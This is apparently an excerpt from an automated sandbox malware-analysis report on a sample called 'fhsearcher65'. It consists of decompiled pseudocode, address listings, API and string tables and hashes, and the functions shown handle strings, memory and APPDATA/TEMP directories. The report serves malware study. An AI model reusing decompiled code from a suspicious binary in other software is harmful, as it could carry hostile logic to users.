																							E10001DE0(_t473);
																							asm("int3");
																							asm("int3");
																							asm("int3");
																							asm("int3");
																							asm("int3");
																							_push(_t612);
																							_t614 = _t638;
																							_push(_t508);
																							_push(_t473);
																							_push(_t597);
																							_t599 =  *((intOrPtr*)(_t614 + 8));
																							_t475 = _t508;
																							 *(_t614 - 4) = _t475;
																							_t560 =  *(_t599 + 0x14);
																							_t509 =  *(_t599 + 0x10);
																							__eflags = _t560 - _t509 - 1;
																							if(_t560 - _t509 < 1) {
																								_push(1);
																								_v16 = 0;
																								_push(_v16);
																								_push(1);
																								_t599 = E10002F60(_t475, _t599, _t581, _t599);
																							} else {
																								_t254 = _t509 + 1; // 0x1
																								 *(_t599 + 0x10) = _t254;
																								_push(_t581);
																								_t584 = _t599;
																								__eflags = _t560 - 0x10;
																								if(_t560 >= 0x10) {
																									_t584 =  *_t599;
																								}
																								__eflags = _t584 - 0x10014e71;
																								if(_t584 >= 0x10014e71) {
																									L159:
																									_v16 = 1;
																								} else {
																									__eflags = _t584 + _t509 - "\\";
																									if(_t584 + _t509 < "\\") {
																										goto L159;
																									} else {
																										__eflags = _t584 - "\\";
																										if(_t584 > "\\") {
																											_v16 = _t584 - "\\";
																										} else {
																											_v16 = 0;
																										}
																									}
																								}
																								_t260 = _t509 + 1; // 0x1
																								E10005BC0(_t584 + 1, _t584, _t260);
																								E10005BC0(_t584, "\\", _v16);
																								_t264 = _v16 + 0x10014e71; // 0x10014e72
																								E10005BC0(_t584 + _v16, _t264, 1 - _v16);
																							}
																							 *_t475 = 0;
																							_t475[4] = 0;
																							_t475[5] = 0;
																							asm("movups xmm0, [esi]");
																							asm("movups [ebx], xmm0");
																							asm("movq xmm0, [esi+0x10]");
																							asm("movq [ebx+0x10], xmm0");
																							 *(_t599 + 0x10) = 0;
																							 *(_t599 + 0x14) = 0xf;
																							 *_t599 = 0;
																							return _t475;
																						} else {
																							_push(_t375);
																							_t376 = E10003229(_t473, _t581, _t597, __eflags);
																							_t638 = _t638 + 4;
																							__eflags = _t376;
																							if(__eflags == 0) {
																								L148:
																								E1000633C(_t473, _t508, _t559, __eflags);
																								goto L149;
																							} else {
																								_t232 = _t376 + 0x23; // 0x23
																								_t473 = _t232 & 0xffffffe0;
																								 *(_t473 - 4) = _t376;
																								L134:
																								_t597[5] = _v24;
																								_t597[4] = _t581;
																								__eflags = _v32 - 0x10;
																								_push(_v28 + 1);
																								if(_v32 < 0x10) {
																									_push(_t597);
																									_push(_t473);
																									E10005BC0();
																									_t369 = _v28;
																									 *_t597 = _t473;
																									_t597[4] = _t369;
																									return _t369;
																								} else {
																									_t587 =  *_t597;
																									_push(_t587);
																									_push(_t473);
																									E10005BC0();
																									_t638 = _t638 + 0xc;
																									_t520 = _v32 + 1;
																									__eflags = _t520 - 0x1000;
																									if(_t520 < 0x1000) {
																										L138:
																										_push(_t520);
																										E10003216(_t587);
																										_t372 = _v28;
																										 *_t597 = _t473;
																										_t597[4] = _t372;
																										return _t372;
																									} else {
																										_t559 =  *(_t587 - 4);
																										_t508 = _t520 + 0x23;
																										_t581 = _t587 - _t559;
																										_t241 = _t581 - 4; // -3
																										__eflags = _t241 - 0x1f;
																										if(__eflags > 0) {
																											goto L148;
																										} else {
																											_t587 = _t559;
																											goto L138;
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																} else {
																	goto L84;
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						} else {
							goto L15;
						}
					}
				}
			}

0x10001f91
0x10001f99
0x10001fa0
0x10001fa4
0x10001fb5
0x10001fbb
0x10001fc0
0x10001fc2
0x10001fcb
0x10001fd1
0x10001fd3
0x10001fd9
0x10001fe3
0x10001fe9
0x10001ff3
0x10001ffd
0x10002004
0x1000200a
0x1000201a
0x10002022
0x1000204d
0x1000204f
0x10002052
0x10002054
0x10002054
0x10002057
0x10002057
0x10002059
0x1000205a
0x1000205a
0x1000205e
0x1000205e
0x10002060
0x10002061
0x10002024
0x10002024
0x1000202a
0x1000202a
0x10002030
0x10002030
0x10002032
0x10002033
0x10002035
0x00000000
0x10002037
0x1000203f
0x10002040
0x10002040
0x10002035
0x10002068
0x1000206d
0x10002072
0x10002083
0x10002088
0x1000208f
0x10002093
0x10002098
0x1000209b
0x1000209f
0x100020a5
0x100020a7
0x100020a7
0x100020a9
0x100020b2
0x100020ba
0x100020c0
0x100020c1
0x100020c4
0x100020fa
0x10002101
0x10002107
0x1000210e
0x100020c6
0x100020d0
0x100020dc
0x100020e3
0x100020e5
0x100020e6
0x100020f1
0x100020f4
0x100020f4
0x10002113
0x10002117
0x10002120
0x10002151
0x10002151
0x10002155
0x1000215b
0x10002165
0x1000216f
0x10002179
0x100021aa
0x100021b9
0x100021c9
0x100023ef
0x100023ef
0x100023f6
0x100023fc
0x10002403
0x1000240a
0x1000240d
0x10002415
0x00000000
0x100021e0
0x100021f4
0x1000221d
0x1000221f
0x10002222
0x10002224
0x10002224
0x10002227
0x10002227
0x10002229
0x1000222a
0x1000222a
0x1000222e
0x1000222e
0x10002230
0x10002231
0x100021f6
0x100021f6
0x100021fc
0x10002200
0x10002200
0x10002202
0x10002203
0x10002203
0x1000220f
0x10002210
0x10002210
0x10002238
0x1000223d
0x10002242
0x10002253
0x10002258
0x1000225f
0x10002263
0x10002268
0x1000226b
0x1000226f
0x10002275
0x10002277
0x10002277
0x10002279
0x10002282
0x1000228a
0x10002290
0x10002291
0x10002294
0x100022ca
0x100022d1
0x100022d7
0x100022de
0x10002296
0x100022a0
0x100022ac
0x100022b3
0x100022b5
0x100022b6
0x100022c1
0x100022c4
0x100022c4
0x100022e3
0x100022ec
0x1000231d
0x1000231d
0x10002323
0x1000232d
0x10002337
0x10002341
0x10002372
0x10002381
0x10002391
0x00000000
0x100023a0
0x100023a0
0x100023a6
0x100023ac
0x100023b3
0x100023ba
0x100023c0
0x1000241a
0x1000241f
0x10002427
0x10002428
0x10002439
0x100023c2
0x100023c2
0x100023c8
0x100023c9
0x100023d1
0x100023e3
0x100023e3
0x100023e5
0x00000000
0x100023d3
0x100023d3
0x100023d6
0x100023e1
0x00000000
0x00000000
0x00000000
0x00000000
0x100023e1
0x100023d1
0x100023c0
0x10002343
0x10002343
0x10002349
0x1000234a
0x10002352
0x10002368
0x10002368
0x1000236a
0x1000236f
0x00000000
0x10002354
0x10002354
0x10002357
0x10002362
0x00000000
0x00000000
0x00000000
0x00000000
0x10002362
0x10002352
0x100022ee
0x100022ee
0x100022f4
0x100022f5
0x100022fd
0x10002313
0x10002313
0x10002315
0x1000231a
0x00000000
0x100022ff
0x100022ff
0x10002302
0x1000230d
0x00000000
0x00000000
0x00000000
0x00000000
0x1000230d
0x100022fd
0x100022ec
0x1000217b
0x1000217b
0x10002181
0x10002182
0x1000218a
0x100021a0
0x100021a0
0x100021a2
0x100021a7
0x00000000
0x1000218c
0x1000218c
0x1000218f
0x1000219a
0x00000000
0x00000000
0x00000000
0x00000000
0x1000219a
0x1000218a
0x10002122
0x10002122
0x10002128
0x10002129
0x10002131
0x10002147
0x10002147
0x10002149
0x1000214e
0x00000000
0x10002133
0x10002133
0x10002136
0x10002141
0x1000243a
0x1000243a
0x1000243f
0x1000243f
0x10002444
0x10002444
0x10002449
0x1000244a
0x1000244b
0x1000244c
0x1000244d
0x1000244e
0x1000244f
0x10002450
0x10002451
0x10002456
0x1000245c
0x10002463
0x1000246a
0x1000246b
0x1000246e
0x1000246f
0x1000247d
0x10002494
0x1000249c
0x100024a3
0x100024ae
0x100024b3
0x100024bb
0x100024cc
0x100024d1
0x100024d8
0x100024db
0x100024e6
0x100024f1
0x100024fc
0x10002507
0x10002512
0x10002514
0x10002517
0x1000251c
0x1000251f
0x1000251f
0x1000252a
0x10002532
0x10002537
0x10002539
0x100029b4
0x00000000
0x1000253f
0x1000253f
0x10002547
0x100029b0
0x100029b0
0x00000000
0x1000254d
0x1000254d
0x10002554
0x10002556
0x00000000
0x1000255c
0x1000255c
0x1000255f
0x00000000
0x10002565
0x10002565
0x1000256a
0x100029ab
0x00000000
0x10002570
0x10002574
0x10002579
0x1000257e
0x10002972
0x00000000
0x10002584
0x10002584
0x10002589
0x10002598
0x1000259d
0x100025a2
0x100025a7
0x100025a9
0x100025ac
0x100025b1
0x100025b6
0x100025b9
0x100025d9
0x100025e0
0x100025f0
0x100025bb
0x100025be
0x100025c0
0x100025c3
0x100025c6
0x100025c8
0x100025c8
0x100025ca
0x100025cf
0x100025d2
0x100025d2
0x100025f2
0x100025f9
0x100025fe
0x10002607
0x1000260f
0x10002616
0x1000261d
0x10002624
0x10002628
0x1000262f
0x10002633
0x10002634
0x10002639
0x1000263e
0x1000263f
0x10002641
0x10002674
0x10002679
0x1000267d
0x10002682
0x10002687
0x1000268b
0x10002643
0x10002643
0x1000264b
0x10002653
0x10002658
0x1000265a
0x1000265b
0x10002667
0x1000266a
0x1000266e
0x1000266e
0x1000268d
0x10002695
0x1000269d
0x100026a5
0x100026a9
0x100026ac
0x100026b0
0x100026b2
0x100026b2
0x100026b4
0x100026b7
0x100026d2
0x100026da
0x100026dc
0x100026e1
0x100026ed
0x100026ef
0x100026f5
0x1000271e
0x10002720
0x1000272f
0x1000272f
0x10002722
0x10002722
0x10002723
0x10002728
0x1000272b
0x1000272b
0x00000000
0x100026f7
0x100026f7
0x100026f7
0x100026fa
0x100026fc
0x10002a02
0x00000000
0x10002702
0x10002702
0x10002703
0x10002708
0x1000270b
0x1000270d
0x00000000
0x10002713
0x10002713
0x10002716
0x10002719
0x10002731
0x10002735
0x10002736
0x1000273d
0x10002746
0x10002749
0x10002751
0x00000000
0x10002751
0x1000270d
0x100026fc
0x100026b9
0x100026b9
0x100026bc
0x100026c0
0x100026c8
0x10002755
0x10002755
0x1000275c
0x1000275f
0x1000278c
0x1000278c
0x10002790
0x10002793
0x100027c2
0x100027c2
0x100027c6
0x100027ce
0x100027d6
0x100027db
0x100027de
0x1000280d
0x1000280d
0x10002816
0x1000281b
0x10002823
0x10002825
0x1000282d
0x10002848
0x1000284a
0x1000284d
0x10002855
0x1000286d
0x10002874
0x10002874
0x1000284d
0x1000282d
0x1000287a
0x1000288b
0x1000289f
0x100028a6
0x100028b2
0x100028bb
0x100028c4
0x100028cd
0x100028d6
0x100028df
0x100028e8
0x100028f1
0x100028fa
0x10002902
0x10002908
0x1000290a
0x10002913
0x10002913
0x1000291e
0x1000292f
0x1000290c
0x1000290c
0x10002911
0x00000000
0x00000000
0x10002911
0x10002935
0x10002939
0x1000293c
0x1000296b
0x1000296b
0x10002977
0x10002977
0x1000297b
0x1000297e
0x100029b9
0x100029c0
0x100029cf
0x100029de
0x100029e6
0x100029f5
0x100029f6
0x100029f7
0x10002a01
0x10002980
0x10002980
0x10002984
0x10002985
0x10002987
0x1000298d
0x1000299f
0x1000299f
0x100029a1
0x100029a6
0x00000000
0x1000298f
0x1000298f
0x10002992
0x1000299a
0x1000299d
0x00000000
0x00000000
0x00000000
0x00000000
0x1000299d
0x1000298d
0x1000293e
0x1000293e
0x10002942
0x10002943
0x10002945
0x1000294b
0x10002961
0x10002961
0x10002963
0x10002968
0x00000000
0x1000294d
0x1000294d
0x10002950
0x10002958
0x1000295b
0x00000000
0x00000000
0x00000000
0x00000000
0x1000295b
0x1000294b
0x100027e0
0x100027e0
0x100027e4
0x100027e5
0x100027e7
0x100027ed
0x10002803
0x10002803
0x10002805
0x1000280a
0x00000000
0x100027ef
0x100027ef
0x100027f2
0x100027fa
0x100027fd
0x00000000
0x00000000
0x00000000
0x00000000
0x100027fd
0x100027ed
0x10002795
0x10002795
0x10002799
0x1000279a
0x1000279c
0x100027a2
0x100027b8
0x100027b8
0x100027ba
0x100027bf
0x00000000
0x100027a4
0x100027a4
0x100027a7
0x100027af
0x100027b2
0x00000000
0x00000000
0x00000000
0x00000000
0x100027b2
0x100027a2
0x10002761
0x10002761
0x10002764
0x10002766
0x1000276c
0x10002782
0x10002782
0x10002784
0x10002789
0x00000000
0x1000276e
0x1000276e
0x10002771
0x10002779
0x1000277c
0x10002a07
0x10002a07
0x10002a0c
0x10002a0c
0x10002a11
0x10002a11
0x10002a16
0x10002a17
0x10002a18
0x10002a19
0x10002a1a
0x10002a1b
0x10002a1c
0x10002a1d
0x10002a1e
0x10002a1f
0x10002a20
0x10002a21
0x10002a23
0x10002a26
0x10002a27
0x10002a29
0x10002a2a
0x10002a2d
0x10002a30
0x10002a33
0x10002a35
0x10002ba4
0x10002ba9
0x10002a3b
0x10002a3b
0x10002a3c
0x10002a3f
0x10002a42
0x10002a44
0x10002ba3
0x00000000
0x10002a4a
0x10002a4a
0x10002b5c
0x10002b5f
0x00000000
0x10002b61
0x10002b61
0x10002b64
0x00000000
0x10002b66
0x10002b66
0x10002b6c
0x10002b74
0x10002b77
0x10002b78
0x10002b7e
0x10002b92
0x10002b92
0x10002b94
0x10002b9c
0x00000000
0x10002b80
0x10002b80
0x10002b83
0x10002b86
0x10002b88
0x10002b8b
0x10002b8e
0x00000000
0x10002b90
0x10002b90
0x00000000
0x10002b90
0x10002b8e
0x10002b7e
0x10002b64
0x10002a50
0x10002a52
0x10002a57
0x10002a5e
0x10002a60
0x10002bb1
0x10002bb1
0x00000000
0x10002a66
0x10002a68
0x10002a6b
0x10002a6d
0x10002a78
0x10002a7a
0x10002a7c
0x10002a7e
0x10002a8a
0x10002a8c
0x10002a8e
0x10002a91
0x10002a94
0x10002a80
0x10002a80
0x10002a85
0x10002a85
0x10002a6f
0x10002a6f
0x10002a71
0x10002a71
0x10002aa0
0x10002aa2
0x10002aa8
0x10002ad1
0x10002ad3
0x10002ae2
0x10002ae2
0x10002ad5
0x10002ad5
0x10002ad6
0x10002adb
0x10002ade
0x10002ade
0x00000000
0x10002aaa
0x10002aaa
0x10002aaa
0x10002aad
0x10002aaf
0x10002bb6
0x10002bb6
0x10002bbb
0x10002bbc
0x10002bbd
0x10002bbe
0x10002bbf
0x10002bc0
0x10002bc1
0x10002bc3
0x10002bc4
0x10002bc5
0x10002bc6
0x10002bc9
0x10002bcb
0x10002bce
0x10002bd3
0x10002bd8
0x10002bdb
0x10002c64
0x10002c69
0x10002c6f
0x10002c72
0x10002c79
0x10002be1
0x10002be1
0x10002be4
0x10002be7
0x10002be8
0x10002bea
0x10002bed
0x10002bef
0x10002bef
0x10002bf1
0x10002bf7
0x10002c20
0x10002c20
0x10002bf9
0x10002bfc
0x10002c01
0x00000000
0x10002c03
0x10002c03
0x10002c09
0x10002c1b
0x10002c0b
0x10002c0b
0x10002c0b
0x10002c09
0x10002c01
0x10002c27
0x10002c30
0x10002c3e
0x10002c4e
0x10002c59
0x10002c61
0x10002c7b
0x10002c83
0x10002c8a
0x10002c91
0x10002c94
0x10002c97
0x10002c9c
0x10002ca1
0x10002ca8
0x10002caf
0x10002cb7
0x10002ab5
0x10002ab5
0x10002ab6
0x10002abb
0x10002abe
0x10002ac0
0x10002bac
0x10002bac
0x00000000
0x10002ac6
0x10002ac6
0x10002ac9
0x10002acc
0x10002ae4
0x10002ae7
0x10002aee
0x10002af1
0x10002af5
0x10002af6
0x10002b41
0x10002b42
0x10002b43
0x10002b48
0x10002b4e
0x10002b50
0x10002b59
0x10002af8
0x10002af8
0x10002afa
0x10002afb
0x10002afc
0x10002b04
0x10002b07
0x10002b08
0x10002b0e
0x10002b26
0x10002b26
0x10002b28
0x10002b2d
0x10002b33
0x10002b35
0x10002b3e
0x10002b10
0x10002b10
0x10002b13
0x10002b16
0x10002b18
0x10002b1b
0x10002b1e
0x00000000
0x10002b24
0x10002b24
0x00000000
0x10002b24
0x10002b1e
0x10002b0e
0x10002af6
0x10002ac0
0x10002aaf
0x10002aa8
0x10002a60
0x10002a4a
0x10002a44
0x00000000
0x00000000
0x00000000
0x1000277c
0x1000276c
0x1000275f
0x100026b7
0x1000257e
0x1000256a
0x1000255f
0x10002556
0x10002547
0x00000000
0x00000000
0x00000000
0x10002141
0x10002131

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,DFD3A356,?,?), ref: 1000201A
CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000001), ref: 100021C1
GetLastError.KERNEL32 ref: 100021CF
GetTempPathA.KERNEL32(00000104,?), ref: 100021EC
CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000001), ref: 10002389
GetLastError.KERNEL32 ref: 10002393

Strings

TMPDIR, xrefs: 10002213
APPDATA, xrefs: 10002043

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath$FolderTemp
String ID: APPDATA$TMPDIR
API String ID: 519037321-4048745339
Opcode ID: 2df08be5817bc88c7724805b3209b62b20567340b0953353b922b6276f4cf695
Instruction ID: 73a1d6a44cef61f255837fd76ca3bed7767395f6b845790b902de768a736ecff
Opcode Fuzzy Hash: 2df08be5817bc88c7724805b3209b62b20567340b0953353b922b6276f4cf695
Instruction Fuzzy Hash: 41D1B271A042589FFB25CB24CC88B9DB7B5EF45340F1082D8E44AA7299D775AB84CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0042B161 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0042BE4F), ref: 0042B17A

Strings

acos, xrefs: 0042B2B0
pow, xrefs: 0042B218, 0042B2C2, 0042B30F
exp, xrefs: 0042B1F9, 0042B25E
log10, xrefs: 0042B1BC, 0042B1CB
sqrt, xrefs: 0042B2B9
log, xrefs: 0042B1D7, 0042B1E6
asin, xrefs: 0042B2A7

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: f93ef301e397289a2bbb80f3c0dcb4a6c419964dbd78c48ec9bac676b0a2011e
Instruction ID: f148032c37673e78911bcb7e53cb28ee8a1fe795d12f3e49b6a84f586040db04
Opcode Fuzzy Hash: f93ef301e397289a2bbb80f3c0dcb4a6c419964dbd78c48ec9bac676b0a2011e
Instruction Fuzzy Hash: 40517370A0062ACBCF149F95F94C1AE7B74FF48300F954087D991A7254CB7C8965CB9E

Uniqueness

Uniqueness Score: -1.00%

Function 00425EFF Relevance: 13.7, APIs: 9, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00425EFF(void* __edx, char _a4) {
				void* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				void _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				signed int _t60;
				signed int _t69;
				signed int _t71;
				signed int _t74;
				signed int _t77;
				char _t82;
				void* _t93;
				signed int _t96;
				char _t107;
				char _t108;
				void* _t113;
				char* _t114;
				signed int _t120;
				signed int* _t121;
				char _t123;
				intOrPtr* _t125;
				char* _t130;

				_t113 = __edx;
				_t123 = _a4;
				_v24 = _t123;
				_v20 = 0;
				if( *((intOrPtr*)(_t123 + 0xb0)) != 0 ||  *((intOrPtr*)(_t123 + 0xac)) != 0) {
					_v16 = 1;
					_t93 = E0041E60B(1, 0x50);
					if(_t93 != 0) {
						_t96 = 0x14;
						memcpy(_t93,  *(_t123 + 0x88), _t96 << 2);
						_t125 = E0041F0DF(4);
						_t120 = 0;
						_v8 = _t125;
						E0041E668(0);
						if(_t125 != 0) {
							 *_t125 = 0;
							_t123 = _a4;
							if( *((intOrPtr*)(_t123 + 0xb0)) == 0) {
								_t53 =  *0x43d160; // 0x43d1b4
								 *_t93 = _t53;
								_t54 =  *0x43d164; // 0x450784
								 *((intOrPtr*)(_t93 + 4)) = _t54;
								_t55 =  *0x43d168; // 0x450784
								 *((intOrPtr*)(_t93 + 8)) = _t55;
								_t56 =  *0x43d190; // 0x43d1b8
								 *((intOrPtr*)(_t93 + 0x30)) = _t56;
								_t57 =  *0x43d194; // 0x450788
								 *((intOrPtr*)(_t93 + 0x34)) = _t57;
								L19:
								 *_v8 = 1;
								if(_t120 != 0) {
									 *_t120 = 1;
								}
								goto L21;
							}
							_t121 = E0041F0DF(4);
							_v12 = _t121;
							E0041E668(0);
							_push(_t93);
							if(_t121 != 0) {
								 *_t121 =  *_t121 & 0x00000000;
								_t122 =  *((intOrPtr*)(_t123 + 0xb0));
								_t69 = E00421A75(_t113);
								_t16 = _t93 + 4; // 0x4
								_t71 = E00421A75(_t113,  &_v24, 1,  *((intOrPtr*)(_t123 + 0xb0)), 0xf, _t16,  &_v24);
								_t18 = _t93 + 8; // 0x8
								_t74 = E00421A75(_t113,  &_v24, 1,  *((intOrPtr*)(_t123 + 0xb0)), 0x10, _t18, 1);
								_t77 = E00421A75(_t113,  &_v24, 2,  *((intOrPtr*)(_t123 + 0xb0)), 0xe, _t93 + 0x30, _t122);
								_t22 = _t93 + 0x34; // 0x34
								if((E00421A75(_t113,  &_v24, 2, _t122, 0xf, _t22, 0xe) | _t69 | _t71 | _t74 | _t77) == 0) {
									_t114 =  *((intOrPtr*)(_t93 + 8));
									while(1) {
										_t82 =  *_t114;
										if(_t82 == 0) {
											break;
										}
										_t30 = _t82 - 0x30; // -48
										_t107 = _t30;
										if(_t107 > 9) {
											if(_t82 != 0x3b) {
												L16:
												_t114 = _t114 + 1;
												continue;
											}
											_t130 = _t114;
											do {
												_t108 =  *((intOrPtr*)(_t130 + 1));
												 *_t130 = _t108;
												_t130 = _t130 + 1;
											} while (_t108 != 0);
											continue;
										}
										 *_t114 = _t107;
										goto L16;
									}
									_t120 = _v12;
									_t123 = _a4;
									goto L19;
								}
								E00425E96(_t93);
								E0041E668(_t93);
								E0041E668(_v12);
								_v16 = _v16 | 0xffffffff;
								L12:
								E0041E668(_v8);
								return _v16;
							}
							E0041E668();
							goto L12;
						}
						E0041E668(_t93);
						return 1;
					}
					return 1;
				} else {
					_t120 = 0;
					_v8 = 0;
					_t93 = 0x43d160;
					L21:
					_t60 =  *(_t123 + 0x80);
					if(_t60 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t123 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t60 | 0xffffffff) == 0) {
							E0041E668( *((intOrPtr*)(_t123 + 0x7c)));
							E0041E668( *(_t123 + 0x88));
						}
					}
					 *((intOrPtr*)(_t123 + 0x7c)) = _v8;
					 *(_t123 + 0x80) = _t120;
					 *(_t123 + 0x88) = _t93;
					return 0;
				}
			}

0x00425eff
0x00425f09
0x00425f0f
0x00425f12
0x00425f1b
0x00425f3a
0x00425f42
0x00425f48
0x00425f5b
0x00425f5c
0x00425f65
0x00425f67
0x00425f6a
0x00425f6d
0x00425f76
0x00425f87
0x00425f89
0x00425f92
0x004260e1
0x004260e6
0x004260e8
0x004260ed
0x004260f0
0x004260f5
0x004260f8
0x004260fd
0x00426100
0x00426105
0x00426074
0x0042607a
0x0042607e
0x00426080
0x00426080
0x00000000
0x0042607e
0x00425f9f
0x00425fa3
0x00425fa6
0x00425fad
0x00425fb0
0x00425fbd
0x00425fc3
0x00425fcf
0x00425fd4
0x00425fe3
0x00425fea
0x00425ff7
0x0042600b
0x00426015
0x0042602c
0x00426058
0x00426068
0x00426068
0x0042606c
0x00000000
0x00000000
0x0042605d
0x0042605d
0x00426063
0x004260cf
0x00426067
0x00426067
0x00000000
0x00426067
0x004260d1
0x004260d3
0x004260d3
0x004260d6
0x004260d8
0x004260db
0x00000000
0x004260df
0x00426065
0x00000000
0x00426065
0x0042606e
0x00426071
0x00000000
0x00426071
0x0042602f
0x00426035
0x0042603d
0x00426045
0x00426049
0x0042604d
0x00000000
0x00426055
0x00425fb2
0x00000000
0x00425fb7
0x00425f79
0x00000000
0x00425f81
0x00000000
0x00425f25
0x00425f25
0x00425f27
0x00425f2a
0x00426082
0x00426082
0x0042608a
0x0042608c
0x0042608c
0x00426094
0x00426099
0x0042609d
0x004260a2
0x004260ad
0x004260b3
0x0042609d
0x004260b7
0x004260bc
0x004260c2
0x00000000
0x004260c2

APIs

_free.LIBCMT ref: 00425F6D
_free.LIBCMT ref: 00425F79
_free.LIBCMT ref: 004260A2
_free.LIBCMT ref: 004260AD

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: b5dd6586b3eba2bbbc531e3b49c25651deee40818fec3ea37cf8fff9e4e4027e
Instruction ID: c019731f7baf166fa6af3c260aa20bbdc635d7f0fe32dfb6f701eae2da555294
Opcode Fuzzy Hash: b5dd6586b3eba2bbbc531e3b49c25651deee40818fec3ea37cf8fff9e4e4027e
Instruction Fuzzy Hash: 1D610171A00314AFEB20DF75E841BABB7E8AF08710F91406FE945EB281E734AD41DB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040C940 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E0040C940(intOrPtr __edx) {
				intOrPtr _v8;
				char _v16;
				char _v24;
				signed int _v32;
				intOrPtr* _v36;
				char _v40;
				char _v44;
				intOrPtr* _v48;
				char _v68;
				char _v120;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t40;
				signed int _t41;
				intOrPtr* _t44;
				intOrPtr _t48;
				intOrPtr _t50;
				void* _t57;
				signed int _t62;
				signed int _t63;
				void* _t64;
				intOrPtr _t66;
				intOrPtr _t73;
				signed int _t81;
				void* _t82;
				intOrPtr* _t84;
				intOrPtr* _t85;
				void* _t86;
				void* _t91;
				signed int _t94;
				void* _t102;

				_t79 = __edx;
				_t64 = _t91;
				_t94 = (_t91 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t64 + 4));
				_t89 = _t94;
				_push(0xffffffff);
				_push(0x42d074);
				_push( *[fs:0x0]);
				_push(_t64);
				_t40 =  *0x43d054; // 0xd71f2cec
				_t41 = _t40 ^ _t94;
				_v32 = _t41;
				_push(_t41);
				 *[fs:0x0] =  &_v24;
				_t84 =  *((intOrPtr*)(_t64 + 8));
				_v36 = _t84;
				E0040E453( &_v44, 0);
				_v16 = 0;
				_t81 =  *0x4500b0; // 0x1
				_t44 =  *0x450d08; // 0x17ebb20
				_v48 = _t44;
				if(_t81 == 0) {
					E0040E453( &_v40, _t81);
					_t102 =  *0x4500b0 - _t81; // 0x1
					if(_t102 == 0) {
						_t62 =  *0x450098; // 0x1
						_t63 = _t62 + 1;
						 *0x450098 = _t63;
						 *0x4500b0 = _t63;
					}
					E0040E4AB( &_v40);
					_t81 =  *0x4500b0; // 0x1
				}
				_t66 =  *((intOrPtr*)(_t84 + 4));
				if(_t81 >=  *((intOrPtr*)(_t66 + 0xc))) {
					_t85 = 0;
					__eflags = 0;
					L8:
					if( *((char*)(_t66 + 0x14)) == 0) {
						L11:
						if(_t85 != 0) {
							L19:
							E0040E4AB( &_v44);
							 *[fs:0x0] = _v24;
							_pop(_t82);
							_pop(_t86);
							return E0040EF6F(_t85, _t64, _v32 ^ _t89, _t79, _t82, _t86);
						}
						L12:
						_t48 = _v48;
						if(_t48 == 0) {
							_t85 = E0040F180(_t81, _t85, __eflags, 0x18);
							_v48 = _t85;
							_v16 = 1;
							_t73 =  *((intOrPtr*)(_v36 + 4));
							__eflags = _t73;
							if(_t73 == 0) {
								_t50 = 0x4399f7;
							} else {
								_t50 =  *((intOrPtr*)(_t73 + 0x18));
								__eflags = _t50;
								if(_t50 == 0) {
									_t50 = _t73 + 0x1c;
								}
							}
							E00403F10(_t50);
							 *((intOrPtr*)(_t85 + 4)) = 0;
							 *_t85 = 0x42eee4;
							E0040EA2F(_t81, _t85, __eflags,  &_v68);
							asm("movups xmm0, [eax]");
							asm("movups [esi+0x8], xmm0");
							E00403FC0( &_v120);
							_v36 = _t85;
							_v16 = 2;
							E0040E604(__eflags, _t85);
							_t79 =  *_t85;
							 *((intOrPtr*)( *_t85 + 4))();
							 *0x450d08 = _t85;
						} else {
							_t85 = _t48;
						}
						goto L19;
					}
					_t57 = E0040E630();
					if(_t81 >=  *((intOrPtr*)(_t57 + 0xc))) {
						goto L12;
					}
					_t85 =  *((intOrPtr*)( *((intOrPtr*)(_t57 + 8)) + _t81 * 4));
					goto L11;
				}
				_t85 =  *((intOrPtr*)( *((intOrPtr*)(_t66 + 8)) + _t81 * 4));
				if(_t85 != 0) {
					goto L19;
				}
				goto L8;
			}

0x0040c940
0x0040c941
0x0040c949
0x0040c950
0x0040c954
0x0040c956
0x0040c958
0x0040c963
0x0040c964
0x0040c968
0x0040c96d
0x0040c96f
